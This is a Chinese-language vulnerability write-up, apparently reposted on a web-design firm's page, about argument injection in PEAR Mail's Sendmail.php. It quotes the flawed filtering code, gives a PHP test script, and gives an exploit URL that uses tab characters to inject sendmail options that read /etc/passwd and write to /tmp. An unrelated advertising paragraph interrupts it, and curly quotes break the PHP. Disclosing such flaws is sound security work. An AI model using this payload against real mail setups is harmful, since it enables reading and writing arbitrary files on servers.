新聞中心
出現問題的地方位于Sendmail.php

專注于為中小企業(yè)提供成都網站建設、網站制作服務,電腦端+手機端+微信端的三站合一,更高效的管理,為中小企業(yè)依蘭免費做網站提供優(yōu)質的服務。我們立足成都,凝聚了一批互聯網行業(yè)人才,有力地推動了超過千家企業(yè)的穩(wěn)健成長,幫助中小企業(yè)通過網站建設實現規(guī)模擴充和轉變。
......
if (!isset($from)) {
return PEAR::raiseError('No from address given.');
} elseif (strpos($from, ' ') !== false ||
strpos($from, ';') !== false ||
strpos($from, '&') !== false ||
strpos($from, '`') !== false) {
return PEAR::raiseError('From address specified with dangerous characters.');
}
$from = escapeShellCmd($from);
$mail = @popen($this->sendmail_path . (!empty($this->sendmail_args) ? ' ' . $this->sendmail_args : '') . " -f$from -- $recipients", 'w');
if (!$mail) {
return PEAR::raiseError('Failed to open sendmail [' . $this->sendmail_path . '] for execution.’);
}
……
可以看到$from 變量的過濾并不完全,由于escapeShellCmd會將\等字符替換為空,即可繞過對空格的檢查,而escapeshellcmd本身并不檢查對于參數的調用,所以導致安全漏洞的發(fā)生。
漏洞測試:
ini_set('include_path',ini_get('include_path').':/usr/local/lib/php/PEAR:');
require_once("Mail.php");
$from = "From: " . $_REQUEST['email'] . “\r\n”;
$to = “xxxxxxx@zzzz.com”;
$subj = “subscription request”;
$body = “subscribe me”;
$hdrs = array(
“To” => $to,
“Cc” => $cc,
“Bcc” => $bcc,
“From” => $from,
“Subject” => $subject,
);
$body=”test”;
$mail =& Mail::factory(’sendmail’);
$mail->send($to, $hdrs, $body);
?>
http://www.80sec.com/index.php?1=3&email=xxxxx%09-C%09/etc/passwd%09-X%09/tmp/wokao%09zzz@x%09.com&l=2&1=3
即可看到此漏洞的利用。
漏洞影響:所有PEAR的Mail函數包
漏洞狀態(tài):通知官方
文章標題:所有PEAR的Mail函數包含任意文件讀寫漏洞
文章鏈接:http://m.5511xx.com/article/ccchosi.html


咨詢
建站咨詢
